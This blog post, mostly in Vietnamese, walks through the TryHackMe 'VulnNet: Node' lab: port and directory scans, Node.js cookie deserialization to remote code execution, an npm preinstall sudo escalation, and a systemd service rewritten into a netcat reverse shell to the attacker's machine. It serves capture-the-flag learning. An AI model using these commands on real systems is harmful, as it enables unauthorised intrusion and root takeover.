Advertisement

Responsive Advertisement

VulnNet: Node ~ Tryhackme

 

VulnNet Entertainment has moved its infrastructure and now they're confident that no breach will happen again. You're tasked to prove otherwise and penetrate their network.

  • Difficulty: Easy
  • Web Language: JavaScript

This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!

  • Author: MindOverfløw
  • Discord: MindOverfløw#0420

Icon made by Freepik from www.flaticon.com

Bước 1: Thu thập thông tin

Sử dụng công cụ thu thập thông tin xem các cổng dịch vụ đang mở:

nmap -p- -vvv ip_victim
nmap -p8080 -sV -sC ip_victim
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js Express framework
|_http-title: VulnNet – Your reliable news source – Try Now!

Thấy cổng 8080 đang mở với dịch vụ web, mình truy cập


Thấy đây là một blog và một thông tin chào mừng Guest (khách) bấm vào để login. Mình bấm vào đó hiển thị một trang login


Thử một số mật khẩu phổ biến nhưng không được mình tiến hành kiểm tra xem còn URL nào khác không

gobuster dir -u http://ip_victim:8080/ -w /usr/share/wordlists/dirb/common.txt 
2021/04/30 19:16:37 Starting gobuster
===============================================================
/css (Status: 301)
/img (Status: 301)
/login (Status: 200)
/Login (Status: 200)
===============================================================
2021/04/30 19:17:00 Finished
===============================================================

Chỉ có bấy nhiêu đường dẫn, mình tiến hành thử dùng burpsuit khai thác xem có thu được thông tin gì về cookie, hay thông tin gì đặc biệt không


Thấy phần cookie có mã dạng base64 mình bôi đen giải mã thu được thông tin của user guest đây là dạng lỗi phổ biến Unserialize error tức là mình có thể lấy thông tin từ cookie. Thông tin để khai thác lỗi này Exploiting Node.js deserialization bug for Remote Code Execution | OpSecX

Bước 2: Khai thác thông tin thu được

Với thông tin thu được ở bước 1, mình tải tệp tin nodejsshell.py về sinh mã khai thác reverse shell 

python nodejsshell.py ip_vpn_kali 4444

Với mã độc được sinh ra như vậy mình tiến hành thực hiện mã hóa mã độc theo hướng dẫn link trên

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(..,[REDACTED],...))}()"}

Mình thực hiện mã hóa base64 để có mã khai thác, sau đó đồng thời trên kali mình bật công lắng nghe




Thành công kết nối mình sử dụng một số lệnh để hiện thị thông tin và sử dụng lệnh xem hệ thống này có những user nào

 python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
ls -l /home

Thấy có 1 user khác ngoài www là serv-manage

Bước 3: Leo thang đặc quyền

Mình tiến hành thử tìm cách leo thang lên user serv-manage bằng lệnh

sudo -l

Phát hiện có lệnh npm thực hiện dưới quyền serv-manage không cần password mình tiến hành dùng nó để leo thang

mkdir ~/tmp
echo '{"scripts": {"preinstall": "/bin/sh"}}' > ~/tmp/package.json
sudo -u serv-manage /usr/bin/npm -C ~/tmp/ --unsafe-perm i


Sau khi đọc cờ xong mình thử tìm kiếm leo thang lên root 

sudo -l

Mình tiến hành tìm thông tin liên quan đến tệp tin đó 

find / -type f -name vulnnet-auto.timer -exec ls -l {} + 2>/dev/null
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer

Mình tiến hành đến đường dẫn đó và xem nội dung thế nào

cat vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

Mình thấy nó chạy một tệp lệnh là vulnnet-job.service

Mình đọc tệp tin đó

cat vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

Thấy phần có thực hiện lệnh shell ở đó mình tiến hành sửa lại nội dung này để tiến hành kết nối reverse shell với user root

Dừng dịch vụ đó đã

sudo -u root /bin/systemctl stop vulnnet-auto.timer

Sau đó sửa nội dung vulnnet-job.service

cat > /etc/systemd/system/vulnnet-job.service << EOF
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
 
[Service]
Type=forking
ExecStart=/bin/sh -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip_kali_vpn 5555 >/tmp/f'
 
[Install]
WantedBy=multi-user.target
EOF

Tiếp theo sửa tệp vulnnet-auto.timer để chạy ngay lập tức khi start 

cat > /etc/systemd/system/vulnnet-auto.timer << EOF 
[Unit]
Description=Run VulnNet utilities every 1 min
 
[Timer]
OnBootSec=0min
OnCalendar=*:0/1
Unit=vulnnet-job.service
 
[Install]
WantedBy=basic.target
EOF

Đồng thời trên kali bật cổng lắng nghe kết nối 

sudo -u root /bin/systemctl daemon-reload
sudo -u root /bin/systemctl start vulnnet-auto.timer

Thành công leo thang 



Post a Comment

0 Comments